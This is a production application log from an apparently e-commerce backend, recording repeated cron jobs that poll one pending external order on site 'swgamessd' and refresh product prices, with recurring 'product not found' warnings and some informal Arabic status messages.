[2026-03-24 07:40:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 07:40:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 07:40:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 07:40:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 07:40:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 07:40:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 07:42:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"xwLUs4DgM4VYxBRHWgkBqp2Wm0jnXjeP","execution_time":"2026-03-24 07:42:02"} 
[2026-03-24 07:42:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"xwLUs4DgM4VYxBRHWgkBqp2Wm0jnXjeP","execution_time":"2026-03-24 07:42:02","total_operations":1,"sites_count":1} 
[2026-03-24 07:42:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"xwLUs4DgM4VYxBRHWgkBqp2Wm0jnXjeP","execution_time":"2026-03-24 07:42:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 07:42:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"xwLUs4DgM4VYxBRHWgkBqp2Wm0jnXjeP","execution_time":"2026-03-24 07:42:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 07:42:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"xwLUs4DgM4VYxBRHWgkBqp2Wm0jnXjeP","execution_time":"2026-03-24 07:42:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 07:42:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"xwLUs4DgM4VYxBRHWgkBqp2Wm0jnXjeP","execution_time":"2026-03-24 07:42:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:42:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"xwLUs4DgM4VYxBRHWgkBqp2Wm0jnXjeP","execution_time":"2026-03-24 07:42:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 07:42:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"xwLUs4DgM4VYxBRHWgkBqp2Wm0jnXjeP","execution_time":"2026-03-24 07:42:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 07:42:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"xwLUs4DgM4VYxBRHWgkBqp2Wm0jnXjeP","execution_time":"2026-03-24 07:42:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:44:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"uD5LblDFR4fxruCoIm5nZopfiLqsxCVT","execution_time":"2026-03-24 07:44:02"} 
[2026-03-24 07:44:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"uD5LblDFR4fxruCoIm5nZopfiLqsxCVT","execution_time":"2026-03-24 07:44:02","total_operations":1,"sites_count":1} 
[2026-03-24 07:44:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"uD5LblDFR4fxruCoIm5nZopfiLqsxCVT","execution_time":"2026-03-24 07:44:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 07:44:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"uD5LblDFR4fxruCoIm5nZopfiLqsxCVT","execution_time":"2026-03-24 07:44:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 07:44:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"uD5LblDFR4fxruCoIm5nZopfiLqsxCVT","execution_time":"2026-03-24 07:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 07:44:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"uD5LblDFR4fxruCoIm5nZopfiLqsxCVT","execution_time":"2026-03-24 07:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:44:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"uD5LblDFR4fxruCoIm5nZopfiLqsxCVT","execution_time":"2026-03-24 07:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 07:44:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"uD5LblDFR4fxruCoIm5nZopfiLqsxCVT","execution_time":"2026-03-24 07:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 07:44:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"uD5LblDFR4fxruCoIm5nZopfiLqsxCVT","execution_time":"2026-03-24 07:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:45:03] production.INFO: Executing GetProducts task...  
[2026-03-24 07:45:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 07:45:03] production.INFO: Executing GetProducts task...  
[2026-03-24 07:45:05] production.INFO: async() رجع: true  
[2026-03-24 07:45:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 07:45:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 07:45:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 07:45:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 07:45:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 07:45:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 07:45:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 07:45:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 07:45:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 07:45:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 07:45:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 07:46:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"zUcAFkCEYtqDDnnT2UOrdgtlr62fGQG3","execution_time":"2026-03-24 07:46:03"} 
[2026-03-24 07:46:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"zUcAFkCEYtqDDnnT2UOrdgtlr62fGQG3","execution_time":"2026-03-24 07:46:03","total_operations":1,"sites_count":1} 
[2026-03-24 07:46:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"zUcAFkCEYtqDDnnT2UOrdgtlr62fGQG3","execution_time":"2026-03-24 07:46:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 07:46:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"zUcAFkCEYtqDDnnT2UOrdgtlr62fGQG3","execution_time":"2026-03-24 07:46:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 07:46:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"zUcAFkCEYtqDDnnT2UOrdgtlr62fGQG3","execution_time":"2026-03-24 07:46:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 07:46:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"zUcAFkCEYtqDDnnT2UOrdgtlr62fGQG3","execution_time":"2026-03-24 07:46:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:46:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"zUcAFkCEYtqDDnnT2UOrdgtlr62fGQG3","execution_time":"2026-03-24 07:46:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 07:46:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"zUcAFkCEYtqDDnnT2UOrdgtlr62fGQG3","execution_time":"2026-03-24 07:46:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 07:46:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"zUcAFkCEYtqDDnnT2UOrdgtlr62fGQG3","execution_time":"2026-03-24 07:46:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:48:00] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"K1eV6BjT7SJy3fuVxHpXeiUKy1E9iwQT","execution_time":"2026-03-24 07:48:00"} 
[2026-03-24 07:48:00] production.INFO: Found pending operations {"job":"Quryjob","job_id":"K1eV6BjT7SJy3fuVxHpXeiUKy1E9iwQT","execution_time":"2026-03-24 07:48:00","total_operations":1,"sites_count":1} 
[2026-03-24 07:48:00] production.INFO: Processing site batch {"job":"Quryjob","job_id":"K1eV6BjT7SJy3fuVxHpXeiUKy1E9iwQT","execution_time":"2026-03-24 07:48:00","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 07:48:00] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"K1eV6BjT7SJy3fuVxHpXeiUKy1E9iwQT","execution_time":"2026-03-24 07:48:00","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 07:48:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"K1eV6BjT7SJy3fuVxHpXeiUKy1E9iwQT","execution_time":"2026-03-24 07:48:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 07:48:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"K1eV6BjT7SJy3fuVxHpXeiUKy1E9iwQT","execution_time":"2026-03-24 07:48:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:48:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"K1eV6BjT7SJy3fuVxHpXeiUKy1E9iwQT","execution_time":"2026-03-24 07:48:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 07:48:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"K1eV6BjT7SJy3fuVxHpXeiUKy1E9iwQT","execution_time":"2026-03-24 07:48:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 07:48:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"K1eV6BjT7SJy3fuVxHpXeiUKy1E9iwQT","execution_time":"2026-03-24 07:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:50:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Pu6NubzUXCFtPyGDMMiTZb7lOLja2UHr","execution_time":"2026-03-24 07:50:01"} 
[2026-03-24 07:50:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"Pu6NubzUXCFtPyGDMMiTZb7lOLja2UHr","execution_time":"2026-03-24 07:50:01","total_operations":1,"sites_count":1} 
[2026-03-24 07:50:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Pu6NubzUXCFtPyGDMMiTZb7lOLja2UHr","execution_time":"2026-03-24 07:50:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 07:50:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Pu6NubzUXCFtPyGDMMiTZb7lOLja2UHr","execution_time":"2026-03-24 07:50:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 07:50:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Pu6NubzUXCFtPyGDMMiTZb7lOLja2UHr","execution_time":"2026-03-24 07:50:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 07:50:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Pu6NubzUXCFtPyGDMMiTZb7lOLja2UHr","execution_time":"2026-03-24 07:50:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:50:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Pu6NubzUXCFtPyGDMMiTZb7lOLja2UHr","execution_time":"2026-03-24 07:50:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 07:50:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Pu6NubzUXCFtPyGDMMiTZb7lOLja2UHr","execution_time":"2026-03-24 07:50:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 07:50:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"Pu6NubzUXCFtPyGDMMiTZb7lOLja2UHr","execution_time":"2026-03-24 07:50:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:50:01] production.INFO: Executing GetProducts task...  
[2026-03-24 07:50:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 07:50:01] production.INFO: Executing GetProducts task...  
[2026-03-24 07:50:03] production.INFO: async() رجع: true  
[2026-03-24 07:50:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 07:50:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 07:50:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 07:50:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 07:50:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 07:50:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 07:50:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 07:50:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 07:50:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 07:50:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 07:50:04] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 07:52:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"rmLS7MvHbo0STHOHQCc81LCiEEdCyUad","execution_time":"2026-03-24 07:52:01"} 
[2026-03-24 07:52:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"rmLS7MvHbo0STHOHQCc81LCiEEdCyUad","execution_time":"2026-03-24 07:52:01","total_operations":1,"sites_count":1} 
[2026-03-24 07:52:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"rmLS7MvHbo0STHOHQCc81LCiEEdCyUad","execution_time":"2026-03-24 07:52:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 07:52:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"rmLS7MvHbo0STHOHQCc81LCiEEdCyUad","execution_time":"2026-03-24 07:52:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 07:52:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"rmLS7MvHbo0STHOHQCc81LCiEEdCyUad","execution_time":"2026-03-24 07:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 07:52:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"rmLS7MvHbo0STHOHQCc81LCiEEdCyUad","execution_time":"2026-03-24 07:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:52:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"rmLS7MvHbo0STHOHQCc81LCiEEdCyUad","execution_time":"2026-03-24 07:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 07:52:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"rmLS7MvHbo0STHOHQCc81LCiEEdCyUad","execution_time":"2026-03-24 07:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 07:52:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"rmLS7MvHbo0STHOHQCc81LCiEEdCyUad","execution_time":"2026-03-24 07:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:54:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"XdgUuxRzK4k8bwhIjnKmmrMsYzevhgEb","execution_time":"2026-03-24 07:54:02"} 
[2026-03-24 07:54:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"XdgUuxRzK4k8bwhIjnKmmrMsYzevhgEb","execution_time":"2026-03-24 07:54:02","total_operations":1,"sites_count":1} 
[2026-03-24 07:54:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"XdgUuxRzK4k8bwhIjnKmmrMsYzevhgEb","execution_time":"2026-03-24 07:54:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 07:54:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"XdgUuxRzK4k8bwhIjnKmmrMsYzevhgEb","execution_time":"2026-03-24 07:54:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 07:54:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"XdgUuxRzK4k8bwhIjnKmmrMsYzevhgEb","execution_time":"2026-03-24 07:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 07:54:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"XdgUuxRzK4k8bwhIjnKmmrMsYzevhgEb","execution_time":"2026-03-24 07:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:54:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"XdgUuxRzK4k8bwhIjnKmmrMsYzevhgEb","execution_time":"2026-03-24 07:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 07:54:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"XdgUuxRzK4k8bwhIjnKmmrMsYzevhgEb","execution_time":"2026-03-24 07:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 07:54:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"XdgUuxRzK4k8bwhIjnKmmrMsYzevhgEb","execution_time":"2026-03-24 07:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:55:02] production.INFO: Executing GetProducts task...  
[2026-03-24 07:55:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 07:55:02] production.INFO: Executing GetProducts task...  
[2026-03-24 07:55:04] production.INFO: async() رجع: true  
[2026-03-24 07:55:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 07:55:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 07:55:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 07:55:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 07:55:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 07:55:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 07:55:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 07:55:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 07:55:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 07:55:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 07:55:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 07:56:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"x5A3G6E28VRNxifK27rwZb9iEDRfXd7s","execution_time":"2026-03-24 07:56:02"} 
[2026-03-24 07:56:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"x5A3G6E28VRNxifK27rwZb9iEDRfXd7s","execution_time":"2026-03-24 07:56:02","total_operations":1,"sites_count":1} 
[2026-03-24 07:56:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"x5A3G6E28VRNxifK27rwZb9iEDRfXd7s","execution_time":"2026-03-24 07:56:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 07:56:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"x5A3G6E28VRNxifK27rwZb9iEDRfXd7s","execution_time":"2026-03-24 07:56:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 07:56:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"x5A3G6E28VRNxifK27rwZb9iEDRfXd7s","execution_time":"2026-03-24 07:56:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 07:56:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"x5A3G6E28VRNxifK27rwZb9iEDRfXd7s","execution_time":"2026-03-24 07:56:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:56:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"x5A3G6E28VRNxifK27rwZb9iEDRfXd7s","execution_time":"2026-03-24 07:56:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 07:56:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"x5A3G6E28VRNxifK27rwZb9iEDRfXd7s","execution_time":"2026-03-24 07:56:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 07:56:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"x5A3G6E28VRNxifK27rwZb9iEDRfXd7s","execution_time":"2026-03-24 07:56:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:58:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"4x9EjNXxhtaN1bJfiwcD6XvqjPGTAoue","execution_time":"2026-03-24 07:58:02"} 
[2026-03-24 07:58:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"4x9EjNXxhtaN1bJfiwcD6XvqjPGTAoue","execution_time":"2026-03-24 07:58:02","total_operations":1,"sites_count":1} 
[2026-03-24 07:58:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"4x9EjNXxhtaN1bJfiwcD6XvqjPGTAoue","execution_time":"2026-03-24 07:58:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 07:58:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"4x9EjNXxhtaN1bJfiwcD6XvqjPGTAoue","execution_time":"2026-03-24 07:58:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 07:58:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"4x9EjNXxhtaN1bJfiwcD6XvqjPGTAoue","execution_time":"2026-03-24 07:58:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 07:58:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"4x9EjNXxhtaN1bJfiwcD6XvqjPGTAoue","execution_time":"2026-03-24 07:58:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:58:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"4x9EjNXxhtaN1bJfiwcD6XvqjPGTAoue","execution_time":"2026-03-24 07:58:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 07:58:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"4x9EjNXxhtaN1bJfiwcD6XvqjPGTAoue","execution_time":"2026-03-24 07:58:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 07:58:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"4x9EjNXxhtaN1bJfiwcD6XvqjPGTAoue","execution_time":"2026-03-24 07:58:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:00:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"KGr59FRBS90ddecL0wBF2mAtRi5N3bOs","execution_time":"2026-03-24 08:00:01"} 
[2026-03-24 08:00:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"KGr59FRBS90ddecL0wBF2mAtRi5N3bOs","execution_time":"2026-03-24 08:00:01","total_operations":1,"sites_count":1} 
[2026-03-24 08:00:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"KGr59FRBS90ddecL0wBF2mAtRi5N3bOs","execution_time":"2026-03-24 08:00:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 08:00:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"KGr59FRBS90ddecL0wBF2mAtRi5N3bOs","execution_time":"2026-03-24 08:00:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 08:00:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"KGr59FRBS90ddecL0wBF2mAtRi5N3bOs","execution_time":"2026-03-24 08:00:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 08:00:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"KGr59FRBS90ddecL0wBF2mAtRi5N3bOs","execution_time":"2026-03-24 08:00:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:00:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"KGr59FRBS90ddecL0wBF2mAtRi5N3bOs","execution_time":"2026-03-24 08:00:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 08:00:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"KGr59FRBS90ddecL0wBF2mAtRi5N3bOs","execution_time":"2026-03-24 08:00:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
